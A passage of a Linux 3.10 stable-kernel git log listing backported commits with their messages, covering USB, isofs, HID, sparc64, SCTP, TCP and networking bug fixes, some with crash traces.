cases it has been seen that device fails to negotiate link training in first attempt. It has been reported till now that few devices take as long as 2000 ms to train the link after host enabling its VBUS and RX termination. This patch implements a 2000 ms timeout for CSC bit to set ie for link training. If in a case link trains before timeout, loop will exit earlier. This patch implements above delay, but only for SS device and when persist is enabled. So, for the good device overhead is almost none. While for the bad devices penalty could be the time which it take for link training. But, If a device was connected before suspend, and was removed while system was asleep, then the penalty would be the timeout ie 2000 ms. Results: Verbatim USB SS hard disk connected with STiH407 USB host running 3.10 Kernel resumes in 461 msecs without this patch, but hard disk is assigned a new device address. Same system resumes in 790 msecs with this patch, but with old device address. Signed-off-by: Pratyush Anand Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8ec511f05b902c189e05daff6fb8303742715a8 Author: Bryan O'Donoghue Date: Wed Jul 2 01:58:18 2014 -0700 USB: ehci-pci: USB host controller support for Intel Quark X1000 commit 6e693739e9b603b3ca9ce0d4f4178f0633458465 upstream. The EHCI packet buffer in/out threshold is programmable for Intel Quark X1000 USB host controller, and the default value is 0x20 dwords. The in/out threshold can be programmed to 0x80 dwords (512 Bytes) to maximize the perfomrance, but only when isochronous/interrupt transactions are not initiated by the USB host controller. This patch is to reconfigure the packet buffer in/out threshold as maximal as possible to maximize the performance, and 0x7F dwords (508 Bytes) should be used because the USB host controller initiates isochronous/interrupt transactions. Signed-off-by: Bryan O'Donoghue Signed-off-by: Alvin (Weike) Chen Acked-by: Alan Stern Reviewed-by: Jingoo Han Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9305f523269aa90665c2441c11b097ac3536a147 Author: Patrick Riphagen Date: Thu Jul 24 09:09:50 2014 +0200 USB: serial: ftdi_sio: Add support for new Xsens devices commit 4bdcde358b4bda74e356841d351945ca3f2245dd upstream. This adds support for new Xsens devices, using Xsens' own Vendor ID. Signed-off-by: Patrick Riphagen Signed-off-by: Frans Klaver Cc: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 844a19af937d465b215cfbf45176b14dfa07e143 Author: Patrick Riphagen Date: Thu Jul 24 09:12:52 2014 +0200 USB: serial: ftdi_sio: Annotate the current Xsens PID assignments commit 9273b8a270878906540349422ab24558b9d65716 upstream. The converters are used in specific products. It can be useful to know which they are exactly. Signed-off-by: Patrick Riphagen Signed-off-by: Frans Klaver Cc: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e6c6a094ac4fc9e1da5f97cee449a47c36c3d34 Author: Alan Stern Date: Thu Jul 17 16:34:29 2014 -0400 USB: OHCI: don't lose track of EDs when a controller dies commit 977dcfdc60311e7aa571cabf6f39c36dde13339e upstream. This patch fixes a bug in ohci-hcd. When an URB is unlinked, the corresponding Endpoint Descriptor is added to the ed_rm_list and taken off the hardware schedule. Once the ED is no longer visible to the hardware, finish_unlinks() handles the URBs that were unlinked or have completed. If any URBs remain attached to the ED, the ED is added back to the hardware schedule -- but only if the controller is running. This fails when a controller dies. A non-empty ED does not get added back to the hardware schedule and does not remain on the ed_rm_list; ohci-hcd loses track of it. The remaining URBs cannot be unlinked, which causes the USB stack to hang. The patch changes finish_unlinks() so that non-empty EDs remain on the ed_rm_list if the controller isn't running. This requires moving some of the existing code around, to avoid modifying the ED's hardware fields more than once. Signed-off-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 873becaa55c3830092c88a3ffccd5768927125c3 Author: Jan Kara Date: Sun Aug 17 11:49:57 2014 +0200 isofs: Fix unbounded recursion when processing relocated directories commit 410dd3cf4c9b36f27ed4542ee18b1af5e68645a4 upstream. We did not check relocated directory in any way when processing Rock Ridge 'CL' tag. Thus a corrupted isofs image can possibly have a CL entry pointing to another CL entry leading to possibly unbounded recursion in kernel code and thus stack overflow or deadlocks (if there is a loop created from CL entries). Fix the problem by not allowing CL entry to point to a directory entry with CL entry (such use makes no good sense anyway) and by checking whether CL entry doesn't point to itself. Reported-by: Chris Evans Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae2ffba4c45f5a451b5962f6bc4c1572a4fb14ad Author: Jiri Kosina Date: Thu Aug 21 09:57:48 2014 -0500 HID: fix a couple of off-by-ones commit 4ab25786c87eb20857bbb715c3ae34ec8fd6a214 upstream. There are a few very theoretical off-by-one bugs in report descriptor size checking when performing a pre-parsing fixup. Fix those. Reported-by: Ben Hawkes Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9c999532cff026bfbd8c1f5e949ac64db61ee3f Author: Jiri Kosina Date: Thu Aug 21 09:57:17 2014 -0500 HID: logitech: perform bounds checking on device_id early enough commit ad3e14d7c5268c2e24477c6ef54bbdf88add5d36 upstream. device_index is a char type and the size of paired_dj_deivces is 7 elements, therefore proper bounds checking has to be applied to device_index before it is used. We are currently performing the bounds checking in logi_dj_recv_add_djhid_device(), which is too late, as malicious device could send REPORT_TYPE_NOTIF_DEVICE_UNPAIRED early enough and trigger the problem in one of the report forwarding functions called from logi_dj_raw_event(). Fix this by performing the check at the earliest possible ocasion in logi_dj_raw_event(). Reported-by: Ben Hawkes Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34d48253e37ed1658c868e7da418e6387d56e3e9 Author: Dave Chiluk Date: Tue Jun 24 10:11:26 2014 -0500 stable_kernel_rules: Add pointer to netdev-FAQ for network patches commit b76fc285337b6b256e9ba20a40cfd043f70c27af upstream. Stable_kernel_rules should point submitters of network stable patches to the netdev_FAQ.txt as requests for stable network patches should go to netdev first. Signed-off-by: Dave Chiluk Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4091262363f790738b7a5be6be64f8e491f0ef77 Author: Greg Kroah-Hartman Date: Thu Aug 14 09:24:29 2014 +0800 Linux 3.10.53 Signed-off-by: Pranav Vashi commit e46a164d8aa9e9b2b2dd52a03ac7c2b022d47b77 Author: Andrey Utkin Date: Mon Aug 4 23:47:41 2014 +0300 arch/sparc/math-emu/math_32.c: drop stray break operator [ Upstream commit 093758e3daede29cb4ce6aedb111becf9d4bfc57 ] This commit is a guesswork, but it seems to make sense to drop this break, as otherwise the following line is never executed and becomes dead code. And that following line actually saves the result of local calculation by the pointer given in function argument. So the proposed change makes sense if this code in the whole makes sense (but I am unable to analyze it in the whole). Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=81641 Reported-by: David Binderman Signed-off-by: Andrey Utkin Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f85e155163760954e7751deb79e09a2eca00d8e6 Author: Sowmini Varadhan Date: Fri Aug 1 09:50:40 2014 -0400 sparc64: ldc_connect() should not return EINVAL when handshake is in progress. [ Upstream commit 4ec1b01029b4facb651b8ef70bc20a4be4cebc63 ] The LDC handshake could have been asynchronously triggered after ldc_bind() enables the ldc_rx() receive interrupt-handler (and thus intercepts incoming control packets) and before vio_port_up() calls ldc_connect(). If that is the case, ldc_connect() should return 0 and let the state-machine progress. Signed-off-by: Sowmini Varadhan Acked-by: Karl Volz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cfe29e7c37d86dd685f1b6b2654d1eae5e72c1af Author: Christopher Alexander Tobias Schulze Date: Sun Aug 3 16:01:53 2014 +0200 sunsab: Fix detection of BREAK on sunsab serial console [ Upstream commit fe418231b195c205701c0cc550a03f6c9758fd9e ] Fix detection of BREAK on sunsab serial console: BREAK detection was only performed when there were also serial characters received simultaneously. To handle all BREAKs correctly, the check for BREAK and the corresponding call to uart_handle_break() must also be done if count == 0, therefore duplicate this code fragment and pull it out of the loop over the received characters. Patch applies to 3.16-rc6. Signed-off-by: Christopher Alexander Tobias Schulze Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8ce5b8e487e1c7041a020246a490d09f38121277 Author: Christopher Alexander Tobias Schulze Date: Sun Aug 3 15:44:52 2014 +0200 bbc-i2c: Fix BBC I2C envctrl on SunBlade 2000 [ Upstream commit 5cdceab3d5e02eb69ea0f5d8fa9181800baf6f77 ] Fix regression in bbc i2c temperature and fan control on some Sun systems that causes the driver to refuse to load due to the bbc_i2c_bussel resource not being present on the (second) i2c bus where the temperature sensors and fan control are located. (The check for the number of resources was removed when the driver was ported to a pure OF driver in mid 2008.) Signed-off-by: Christopher Alexander Tobias Schulze Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 50626927a44658673a23b71661d0e6ac76c77a64 Author: David S. Miller Date: Mon Aug 4 20:07:37 2014 -0700 sparc64: Guard against flushing openfirmware mappings. [ Upstream commit 4ca9a23765da3260058db3431faf5b4efd8cf926 ] Based almost entirely upon a patch by Christopher Alexander Tobias Schulze. In commit db64fe02258f1507e13fe5212a989922323685ce ("mm: rewrite vmap layer") lazy VMAP tlb flushing was added to the vmalloc layer. This causes problems on sparc64. Sparc64 has two VMAP mapped regions and they are not contiguous with eachother. First we have the malloc mapping area, then another unrelated region, then the vmalloc region. This "another unrelated region" is where the firmware is mapped. If the lazy TLB flushing logic in the vmalloc code triggers after we've had both a module unload and a vfree or similar, it will pass an address range that goes from somewhere inside the malloc region to somewhere inside the vmalloc region, and thus covering the openfirmware area entirely. The sparc64 kernel learns about openfirmware's dynamic mappings in this region early in the boot, and then services TLB misses in this area. But openfirmware has some locked TLB entries which are not mentioned in those dynamic mappings and we should thus not disturb them. These huge lazy TLB flush ranges causes those openfirmware locked TLB entries to be removed, resulting in all kinds of problems including hard hangs and crashes during reboot/reset. Besides causing problems like this, such huge TLB flush ranges are also incredibly inefficient. A plea has been made with the author of the VMAP lazy TLB flushing code, but for now we'll put a safety guard into our flush_tlb_kernel_range() implementation. Since the implementation has become non-trivial, stop defining it as a macro and instead make it a function in a C source file. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f1307f0295607e92852cdbd6021fa20c972bc3d6 Author: David S. Miller Date: Mon Aug 4 16:34:01 2014 -0700 sparc64: Do not insert non-valid PTEs into the TSB hash table. [ Upstream commit 18f38132528c3e603c66ea464727b29e9bbcb91b ] The assumption was that update_mmu_cache() (and the equivalent for PMDs) would only be called when the PTE being installed will be accessible by the user. This is not true for code paths originating from remove_migration_pte(). There are dire consequences for placing a non-valid PTE into the TSB. The TLB miss frramework assumes thatwhen a TSB entry matches we can just load it into the TLB and return from the TLB miss trap. So if a non-valid PTE is in there, we will deadlock taking the TLB miss over and over, never satisfying the miss. Just exit early from update_mmu_cache() and friends in this situation. Based upon a report and patch from Christopher Alexander Tobias Schulze. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 01ab9dcd6fee3c772404cddd769b0b1a8ecb1a81 Author: David S. Miller Date: Sat May 17 11:28:05 2014 -0700 sparc64: Add membar to Niagara2 memcpy code. [ Upstream commit 5aa4ecfd0ddb1e6dcd1c886e6c49677550f581aa ] This is the prevent previous stores from overlapping the block stores done by the memcpy loop. Based upon a glibc patch by Jose E. Marchesi Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aead4922dfa97e2bae409aa8002994156265fabf Author: David S. Miller Date: Wed May 7 14:07:32 2014 -0700 sparc64: Fix huge TSB mapping on pre-UltraSPARC-III cpus. [ Upstream commit b18eb2d779240631a098626cb6841ee2dd34fda0 ] Access to the TSB hash tables during TLB misses requires that there be an atomic 128-bit quad load available so that we fetch a matching TAG and DATA field at the same time. On cpus prior to UltraSPARC-III only virtual address based quad loads are available. UltraSPARC-III and later provide physical address based variants which are easier to use. When we only have virtual address based quad loads available this means that we have to lock the TSB into the TLB at a fixed virtual address on each cpu when it runs that process. We can't just access the PAGE_OFFSET based aliased mapping of these TSBs because we cannot take a recursive TLB miss inside of the TLB miss handler without risking running out of hardware trap levels (some trap combinations can be deep, such as those generated by register window spill and fill traps). Without huge pages it's working perfectly fine, but when the huge TSB got added another chunk of fixed virtual address space was not allocated for this second TSB mapping. So we were mapping both the 8K and 4MB TSBs to the same exact virtual address, causing multiple TLB matches which gives undefined behavior. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b76ccab92bc204c533ab36df6d63c825a4874368 Author: David S. Miller Date: Tue May 6 21:27:37 2014 -0700 sparc64: Don't bark so loudly about 32-bit tasks generating 64-bit fault addresses. [ Upstream commit e5c460f46ae7ee94831cb55cb980f942aa9e5a85 ] This was found using Dave Jone's trinity tool. When a user process which is 32-bit performs a load or a store, the cpu chops off the top 32-bits of the effective address before translating it. This is because we run 32-bit tasks with the PSTATE_AM (address masking) bit set. We can't run the kernel with that bit set, so when the kernel accesses userspace no address masking occurs. Since a 32-bit process will have no mappings in that region we will properly fault, so we don't try to handle this using access_ok(), which can safely just be a NOP on sparc64. Real faults from 32-bit processes should never generate such addresses so a bug check was added long ago, and it barks in the logs if this happens. But it also barks when a kernel user access causes this condition, and that _can_ happen. For example, if a pointer passed into a system call is "0xfffffffc" and the kernel access 4 bytes offset from that pointer. Just handle such faults normally via the exception entries. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f0f0cfd1404a1b3d03b1bc252660ad36273be2a Author: David S. Miller Date: Mon Apr 28 23:52:11 2014 -0700 sparc64: Fix top-level fault handling bugs. [ Upstream commit 70ffc6ebaead783ac8dafb1e87df0039bb043596 ] Make get_user_insn() able to cope with huge PMDs. Next, make do_fault_siginfo() more robust when get_user_insn() can't actually fetch the instruction. In particular, use the MMU announced fault address when that happens, instead of calling compute_effective_address() and computing garbage. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a33aedf6d24c2278615cb827e788e8a069cc6320 Author: David S. Miller Date: Mon Apr 28 23:50:08 2014 -0700 sparc64: Handle 32-bit tasks properly in compute_effective_address(). [ Upstream commit d037d16372bbe4d580342bebbb8826821ad9edf0 ] If we have a 32-bit task we must chop off the top 32-bits of the 64-bit value just as the cpu would. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd299a94584590803c29640fd95124deeae486aa Author: Kirill Tkhai Date: Thu Apr 17 00:45:24 2014 +0400 sparc64: Make itc_sync_lock raw [ Upstream commit 49b6c01f4c1de3b5e5427ac5aba80f9f6d27837a ] One more place where we must not be able to be preempted or to be interrupted in RT. Always actually disable interrupts during synchronization cycle. Signed-off-by: Kirill Tkhai Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18bc1fd2faf55917abbdaa49c75f6828cd06dbf1 Author: David S. Miller Date: Wed Apr 30 19:37:48 2014 -0700 sparc64: Fix argument sign extension for compat_sys_futex(). [ Upstream commit aa3449ee9c87d9b7660dd1493248abcc57769e31 ] Only the second argument, 'op', is signed. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db78bc2df9364d05ab43f0644509578a6a5ddf6e Author: Eric Dumazet Date: Tue Aug 5 16:49:52 2014 +0200 sctp: fix possible seqlock seadlock in sctp_packet_transmit() [ Upstream commit 757efd32d5ce31f67193cc0e6a56e4dffcc42fb1 ] Dave reported following splat, caused by improper use of IP_INC_STATS_BH() in process context. BUG: using __this_cpu_add() in preemptible [00000000] code: trinity-c117/14551 caller is __this_cpu_preempt_check+0x13/0x20 CPU: 3 PID: 14551 Comm: trinity-c117 Not tainted 3.16.0+ #33 ffffffff9ec898f0 0000000047ea7e23 ffff88022d32f7f0 ffffffff9e7ee207 0000000000000003 ffff88022d32f818 ffffffff9e397eaa ffff88023ee70b40 ffff88022d32f970 ffff8801c026d580 ffff88022d32f828 ffffffff9e397ee3 Call Trace: [] dump_stack+0x4e/0x7a [] check_preemption_disabled+0xfa/0x100 [] __this_cpu_preempt_check+0x13/0x20 [] sctp_packet_transmit+0x692/0x710 [sctp] [] sctp_outq_flush+0x2a2/0xc30 [sctp] [] ? mark_held_locks+0x7c/0xb0 [] ? _raw_spin_unlock_irqrestore+0x5d/0x80 [] sctp_outq_uncork+0x1a/0x20 [sctp] [] sctp_cmd_interpreter.isra.23+0x1142/0x13f0 [sctp] [] sctp_do_sm+0xdb/0x330 [sctp] [] ? preempt_count_sub+0xab/0x100 [] ? sctp_cname+0x70/0x70 [sctp] [] sctp_primitive_ASSOCIATE+0x3a/0x50 [sctp] [] sctp_sendmsg+0x88f/0xe30 [sctp] [] ? lock_release_holdtime.part.28+0x9a/0x160 [] ? put_lock_stats.isra.27+0xe/0x30 [] inet_sendmsg+0x104/0x220 [] ? inet_sendmsg+0x5/0x220 [] sock_sendmsg+0x9e/0xe0 [] ? might_fault+0xb9/0xc0 [] ? might_fault+0x5e/0xc0 [] SYSC_sendto+0x124/0x1c0 [] ? syscall_trace_enter+0x250/0x330 [] SyS_sendto+0xe/0x10 [] tracesys+0xdd/0xe2 This is a followup of commits f1d8cba61c3c4b ("inet: fix possible seqlock deadlocks") and 7f88c6b23afbd315 ("ipv6: fix possible seqlock deadlock in ip6_finish_output2") Signed-off-by: Eric Dumazet Cc: Hannes Frederic Sowa Reported-by: Dave Jones Acked-by: Neil Horman Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0b8f76e98dc13c62489f56eed16e6fdac1d962c7 Author: Sasha Levin Date: Thu Jul 31 23:00:35 2014 -0400 iovec: make sure the caller actually wants anything in memcpy_fromiovecend [ Upstream commit 06ebb06d49486676272a3c030bfeef4bd969a8e6 ] Check for cases when the caller requests 0 bytes instead of running off and dereferencing potentially invalid iovecs. Signed-off-by: Sasha Levin Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ffc6be7bf24e89a3369f85115f43d5e0614abbe5 Author: Vlad Yasevich Date: Thu Jul 31 10:33:06 2014 -0400 net: Correctly set segment mac_len in skb_segment(). [ Upstream commit fcdfe3a7fa4cb74391d42b6a26dc07c20dab1d82 ] When performing segmentation, the mac_len value is copied right out of the original skb. However, this value is not always set correctly (like when the packet is VLAN-tagged) and we'll end up copying a bad value. One way to demonstrate this is to configure a VM which tags packets internally and turn off VLAN acceleration on the forwarding bridge port. The packets show up corrupt like this: 16:18:24.985548 52:54:00:ab:be:25 > 52:54:00:26:ce:a3, ethertype 802.1Q (0x8100), length 1518: vlan 100, p 0, ethertype 0x05e0, 0x0000: 8cdb 1c7c 8cdb 0064 4006 b59d 0a00 6402 ...|...d@.....d. 0x0010: 0a00 6401 9e0d b441 0a5e 64ec 0330 14fa ..d....A.^d..0.. 0x0020: 29e3 01c9 f871 0000 0101 080a 000a e833)....q.........3 0x0030: 000f 8c75 6e65 7470 6572 6600 6e65 7470 ...unetperf.netp 0x0040: 6572 6600 6e65 7470 6572 6600 6e65 7470 erf.netperf.netp 0x0050: 6572 6600 6e65 7470 6572 6600 6e65 7470 erf.netperf.netp 0x0060: 6572 6600 6e65 7470 6572 6600 6e65 7470 erf.netperf.netp ... This also leads to awful throughput as GSO packets are dropped and cause retransmissions. The solution is to set the mac_len using the values already available in then new skb. We've already adjusted all of the header offset, so we might as well correctly figure out the mac_len using skb_reset_mac_len(). After this change, packets are segmented correctly and performance is restored. CC: Eric Dumazet Signed-off-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0480a44b969dba5ae8ec3d58d9063f2d3ff77595 Author: Vlad Yasevich Date: Thu Jul 31 10:30:25 2014 -0400 macvlan: Initialize vlan_features to turn on offload support. [ Upstream commit 081e83a78db9b0ae1f5eabc2dedecc865f509b98 ] Macvlan devices do not initialize vlan_features. As a result, any vlan devices configured on top of macvlans perform very poorly. Initialize vlan_features based on the vlan features of the lower-level device. Signed-off-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c050706cdd3f255f6d58c759d63bcfa41720a8a3 Author: Daniel Borkmann Date: Tue Jul 22 15:22:45 2014 +0200 net: sctp: inherit auth_capable on INIT collisions [ Upstream commit 1be9a950c646c9092fb3618197f7b6bfb50e82aa ] Jason reported an oops caused by SCTP on his ARM machine with SCTP authentication enabled: Internal error: Oops: 17 [#1] ARM CPU: 0 PID: 104 Comm: sctp-test Not tainted 3.13.0-68744-g3632f30c9b20-dirty #1 task: c6eefa40 ti: c6f52000 task.ti: c6f52000 PC is at sctp_auth_calculate_hmac+0xc4/0x10c LR is at sg_init_table+0x20/0x38 pc : [] lr : [] psr: 40000013 sp : c6f538e8 ip : 00000000 fp : c6f53924 r10: c6f50d80 r9 : 00000000 r8 : 00010000 r7 : 00000000 r6 : c7be4000 r5 : 00000000 r4 : c6f56254 r3 : c00c8170 r2 : 00000001 r1 : 00000008 r0 : c6f1e660 Flags: nZcv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user Control: 0005397f Table: 06f28000 DAC: 00000015 Process sctp-test (pid: 104, stack limit = 0xc6f521c0) Stack: (0xc6f538e8 to 0xc6f54000) [...] Backtrace: [] (sctp_auth_calculate_hmac+0x0/0x10c) from [] (sctp_packet_transmit+0x33c/0x5c8) [] (sctp_packet_transmit+0x0/0x5c8) from [] (sctp_outq_flush+0x7fc/0x844) [] (sctp_outq_flush+0x0/0x844) from [] (sctp_outq_uncork+0x24/0x28) [] (sctp_outq_uncork+0x0/0x28) from [] (sctp_side_effects+0x1134/0x1220) [] (sctp_side_effects+0x0/0x1220) from [] (sctp_do_sm+0xac/0xd4) [] (sctp_do_sm+0x0/0xd4) from [] (sctp_assoc_bh_rcv+0x118/0x160) [] (sctp_assoc_bh_rcv+0x0/0x160) from [] (sctp_inq_push+0x6c/0x74) [] (sctp_inq_push+0x0/0x74) from [] (sctp_rcv+0x7d8/0x888) While we already had various kind of bugs in that area ec0223ec48a9 ("net: sctp: fix sctp_sf_do_5_1D_ce to verify if we/peer is AUTH capable") and b14878ccb7fa ("net: sctp: cache auth_enable per endpoint"), this one is a bit of a different kind. Giving a bit more background on why SCTP authentication is needed can be found in RFC4895: SCTP uses 32-bit verification tags to protect itself against blind attackers. These values are not changed during the lifetime of an SCTP association. Looking at new SCTP extensions, there is the need to have a method of proving that an SCTP chunk(s) was really sent by the original peer that started the association and not by a malicious attacker. To cause this bug, we're triggering an INIT collision between peers; normal SCTP handshake where both sides intent to authenticate packets contains RANDOM; CHUNKS; HMAC-ALGO parameters that are being negotiated among peers: ---------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ----------> <------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] --------- -------------------- COOKIE-ECHO --------------------> <-------------------- COOKIE-ACK --------------------- RFC4895 says that each endpoint therefore knows its own random number and the peer's random number *after* the association has been established. The local and peer's random number along with the shared key are then part of the secret used for calculating the HMAC in the AUTH chunk. Now, in our scenario, we have 2 threads with 1 non-blocking SEQ_PACKET socket each, setting up common shared SCTP_AUTH_KEY and SCTP_AUTH_ACTIVE_KEY properly, and each of them calling sctp_bindx(3), listen(2) and connect(2) against each other, thus the handshake looks similar to this, e.g.: ---------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ----------> <------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] --------- <--------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ----------- -------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] --------> ... Since such collisions can also happen with verification tags, the RFC4895 for AUTH rather vaguely says under section 6.1: In case of INIT collision, the rules governing the handling of this Random Number follow the same pattern as those for the Verification Tag, as explained in Section 5.2.4 of RFC 2960 [5]. Therefore, each endpoint knows its own Random Number and the peer's Random Number after the association has been established. In RFC2960, section 5.2.4, we're eventually hitting Action B: B) In this case, both sides may be attempting to start an association at about the same time but the peer endpoint started its INIT after responding to the local endpoint's INIT. Thus it may have picked a new Verification Tag not being aware of the previous Tag it had sent this endpoint. The endpoint should stay in or enter the ESTABLISHED state but it MUST update its peer's Verification Tag from the State Cookie, stop any init or cookie timers that may running and send a COOKIE ACK. In other words, the handling of the Random parameter is the same as behavior for the Verification Tag as described in Action B of section 5.2.4. Looking at the code, we exactly hit the sctp_sf_do_dupcook_b() case which triggers an SCTP_CMD_UPDATE_ASSOC command to the side effect interpreter, and in fact it properly copies over peer_{random, hmacs, chunks} parameters from the newly created association to update the existing one. Also, the old asoc_shared_key is being released and based on the new params, sctp_auth_asoc_init_active_key() updated. However, the issue observed in this case is that the previous asoc->peer.auth_capable was 0, and has *not* been updated, so that instead of creating a new secret, we're doing an early return from the function sctp_auth_asoc_init_active_key() leaving asoc->asoc_shared_key as NULL. However, we now have to authenticate chunks from the updated chunk list (e.g. COOKIE-ACK). That in fact causes the server side when responding with ... <------------------ AUTH; COOKIE-ACK ----------------- ... to trigger a NULL pointer dereference, since in sctp_packet_transmit(), it discovers that an AUTH chunk is being queued for xmit, and thus it calls sctp_auth_calculate_hmac(). Since the asoc->active_key_id is still inherited from the endpoint, and the same as encoded into the chunk, it uses asoc->asoc_shared_key, which is still NULL, as an asoc_key and dereferences it in ... crypto_hash_setkey(desc.tfm, &asoc_key->data[0], asoc_key->len) ... causing an oops. All this happens because sctp_make_cookie_ack() called with the *new* association has the peer.auth_capable=1 and therefore marks the chunk with auth=1 after checking sctp_auth_send_cid(), but it is *actually* sent later on over the then *updated* association's transport that didn't initialize its shared key due to peer.auth_capable=0. Since control chunks in that case are not sent by the temporary association which are scheduled for deletion, they are issued for xmit via SCTP_CMD_REPLY in the interpreter with the context of the *updated* association. peer.auth_capable was 0 in the updated association (which went from COOKIE_WAIT into ESTABLISHED state), since all previous processing that performed sctp_process_init() was being done on temporary associations, that we eventually throw away each time. The correct fix is to update to the new peer.auth_capable value as well in the collision case via sctp_assoc_update(), so that in case the collision migrated from 0 -> 1, sctp_auth_asoc_init_active_key() can properly recalculate the secret. This therefore fixes the observed server panic. Fixes: 730fc3d05cd4 ("[SCTP]: Implete SCTP-AUTH parameter processing") Reported-by: Jason Gunthorpe Signed-off-by: Daniel Borkmann Tested-by: Jason Gunthorpe Cc: Vlad Yasevich Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c718620448555130b01e579484982dddc427a069 Author: Christoph Paasch Date: Tue Jul 29 13:40:57 2014 +0200 tcp: Fix integer-overflow in TCP vegas [ Upstream commit 1f74e613ded11517db90b2bd57e9464d9e0fb161 ] In vegas we do a multiplication of the cwnd and the rtt. This may overflow and thus their result is stored in a u64. However, we first need to cast the cwnd so that actually 64-bit arithmetic is done. Then, we need to do do_div to allow this to be used on 32-bit arches. Cc: Stephen Hemminger Cc: Neal Cardwell Cc: Eric Dumazet Cc: David Laight Cc: Doug Leith Fixes: 8d3a564da34e (tcp: tcp_vegas cong avoid fix) Signed-off-by: Christoph Paasch Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34a11306458c889c9584e62e6061621b9505272e Author: Christoph Paasch Date: Tue Jul 29 12:07:27 2014 +0200 tcp: Fix integer-overflows in TCP veno [ Upstream commit 45a07695bc64b3ab5d6d2215f9677e5b8c05a7d0 ] In veno we do a multiplication of the cwnd and the rtt. This may overflow and thus their result is stored in a u64. However, we first need to cast the cwnd so that actually 64-bit arithmetic is done. A first attempt at fixing 76f1017757aa0 ([TCP]: TCP Veno congestion control) was made by 159131149c2 (tcp: Overflow bug in Vegas), but it failed to add the required cast in tcp_veno_cong_avoid(). Fixes: 76f1017757aa0 ([TCP]: TCP Veno congestion control) Signed-off-by: Christoph Paasch Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c19976c9ba424b10cde55f4863587a0778c06f88 Author: Andrey Ryabinin Date: Sat Jul 26 21:26:58 2014 +0400 net: sendmsg: fix NULL pointer dereference [ Upstream commit 40eea803c6b2cfaab092f053248cbeab3f368412 ] Sasha's report: > While fuzzing with trinity inside a KVM tools guest running the latest -next > kernel with the KASAN patchset, I've stumbled on the following spew: > > [ 4448.949424] ================================================================== > [ 4448.951737] AddressSanitizer: user-memory-access on address 0 > [ 4448.952988] Read of size 2 by thread T19638: > [ 4448.954510] CPU: 28 PID: 19638 Comm: trinity-c76 Not tainted 3.16.0-rc4-next-20140711-sasha-00046-g07d3099-dirty #813 > [ 4448.956823] ffff88046d86ca40 0000000000000000 ffff880082f37e78 ffff880082f37a40 > [ 4448.958233] ffffffffb6e47068 ffff880082f37a68 ffff880082f37a58 ffffffffb242708d > [ 4448.959552] 0000000000000000 ffff880082f37a88 ffffffffb24255b1 0000000000000000 > [ 4448.961266] Call Trace: > [ 4448.963158] dump_stack (lib/dump_stack.c:52) > [ 4448.964244] kasan_report_user_access (mm/kasan/report.c:184) > [ 4448.965507] __asan_load2 (mm/kasan/kasan.c:352) > [ 4448.966482] ? netlink_sendmsg (net/netlink/af_netlink.c:2339) > [ 4448.967541] netlink_sendmsg (net/netlink/af_netlink.c:2339) > [ 4448.968537] ? get_parent_ip (kernel/sched/core.c:2555) > [ 4448.970103] sock_sendmsg (net/socket.c:654) > [ 4448.971584] ? might_fault (mm/memory.c:3741) > [ 4448.972526] ? might_fault (./arch/x86/include/asm/current.h:14 mm/memory.c:3740) > [ 4448.973596] ? verify_iovec (net/core/iovec.c:64) > [ 4448.974522] 